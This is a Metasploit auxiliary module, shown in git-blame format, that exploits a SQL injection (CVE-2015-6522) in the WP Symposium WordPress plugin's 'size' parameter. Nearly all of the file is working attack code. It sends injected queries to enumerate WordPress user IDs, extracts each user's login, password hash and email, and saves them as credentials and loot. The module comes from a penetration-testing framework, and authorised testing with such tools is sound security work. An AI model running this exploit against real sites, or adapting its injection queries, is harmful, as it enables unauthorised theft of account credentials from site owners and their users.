2016-11-17 14:04:53 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-11-17 14:04:53 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'WordPress Symposium Plugin SQL Injection',
|
|
|
|
'Description' => %q{
|
2016-12-01 20:55:16 +00:00
|
|
|
This module exploits a SQL injection vulnerability in the WP Symposium plugin
|
|
|
|
before 15.8 for WordPress, which allows remote attackers to extract credentials
|
|
|
|
via the size parameter to get_album_item.php.
|
2016-11-17 14:04:53 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'PizzaHatHacker', # Vulnerability discovery
|
|
|
|
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-6522'],
|
|
|
|
['EDB', '37824']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 18 2015'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2016-11-17 14:04:53 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
|
|
|
|
end
|
|
|
|
|
|
|
|
def uri_plugin
|
|
|
|
normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
|
|
|
|
end
|
|
|
|
|
|
|
|
def send_sql_request(sql_query)
|
2016-11-24 09:36:32 +00:00
|
|
|
uri_complete = normalize_uri(uri_plugin)
|
2016-11-17 14:04:53 +00:00
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_cgi(
|
2016-11-24 09:36:32 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri_complete,
|
|
|
|
'vars_get' => { 'size' => sql_query }
|
2016-11-17 14:04:53 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
return nil if res.nil? || res.code != 200 || res.body.nil?
|
|
|
|
|
|
|
|
res.body
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
|
|
|
|
vprint_error("#{peer} - The host was unreachable!")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-12-01 20:52:51 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
proof: opts[:proof]
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2016-11-17 14:04:53 +00:00
|
|
|
def run
|
|
|
|
vprint_status("#{peer} - Attempting to connect...")
|
2016-11-24 09:36:32 +00:00
|
|
|
vprint_status("#{peer} - Trying to retrieve the first user id...")
|
|
|
|
first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
|
2016-11-17 14:04:53 +00:00
|
|
|
if first_id.nil?
|
|
|
|
vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
vprint_status("#{peer} - First user-id is '#{first_id}'")
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("#{peer} - Trying to retrieve the last user id...")
|
2016-11-24 09:36:32 +00:00
|
|
|
last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
|
2016-11-17 14:04:53 +00:00
|
|
|
if last_id.nil?
|
|
|
|
vprint_error("#{peer} - Failed to retrieve the last user id")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
vprint_status("#{peer} - Last user-id is '#{last_id}'")
|
|
|
|
end
|
|
|
|
|
2016-11-28 19:28:36 +00:00
|
|
|
credentials = ""
|
|
|
|
|
2016-11-17 14:04:53 +00:00
|
|
|
vprint_status("#{peer} - Trying to retrieve the users informations...")
|
|
|
|
for user_id in first_id..last_id
|
|
|
|
separator = Rex::Text.rand_text_numeric(7,bad='0')
|
2016-11-24 09:36:32 +00:00
|
|
|
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
|
2016-11-17 14:04:53 +00:00
|
|
|
|
|
|
|
if user_info.nil?
|
|
|
|
vprint_error("#{peer} - Failed to retrieve the users info")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
values = user_info.split("#{separator}")
|
2016-11-24 09:36:32 +00:00
|
|
|
|
|
|
|
user_login = values[0]
|
|
|
|
user_pass = values[1]
|
|
|
|
user_email = values[2]
|
|
|
|
|
|
|
|
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
|
2016-12-01 20:52:51 +00:00
|
|
|
report_cred(
|
|
|
|
ip: rhost,
|
|
|
|
port: datastore['RPORT'],
|
|
|
|
service_name: datastore['SSL'] ? 'https' : 'http',
|
|
|
|
user: user_login,
|
|
|
|
password: user_pass,
|
|
|
|
proof: user_email
|
|
|
|
)
|
2016-11-24 09:36:32 +00:00
|
|
|
|
2016-11-28 19:28:36 +00:00
|
|
|
credentials << "#{user_login},#{user_pass},#{user_email}\n"
|
2016-11-17 14:04:53 +00:00
|
|
|
end
|
|
|
|
end
|
2016-11-28 19:28:36 +00:00
|
|
|
|
2016-12-01 20:53:55 +00:00
|
|
|
unless credentials.empty?
|
2016-11-28 19:28:36 +00:00
|
|
|
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
|
2017-07-19 12:02:49 +00:00
|
|
|
vprint_good("Credentials saved in: #{loot}")
|
2016-11-28 19:28:36 +00:00
|
|
|
end
|
2016-11-17 14:04:53 +00:00
|
|
|
end
|
|
|
|
end
|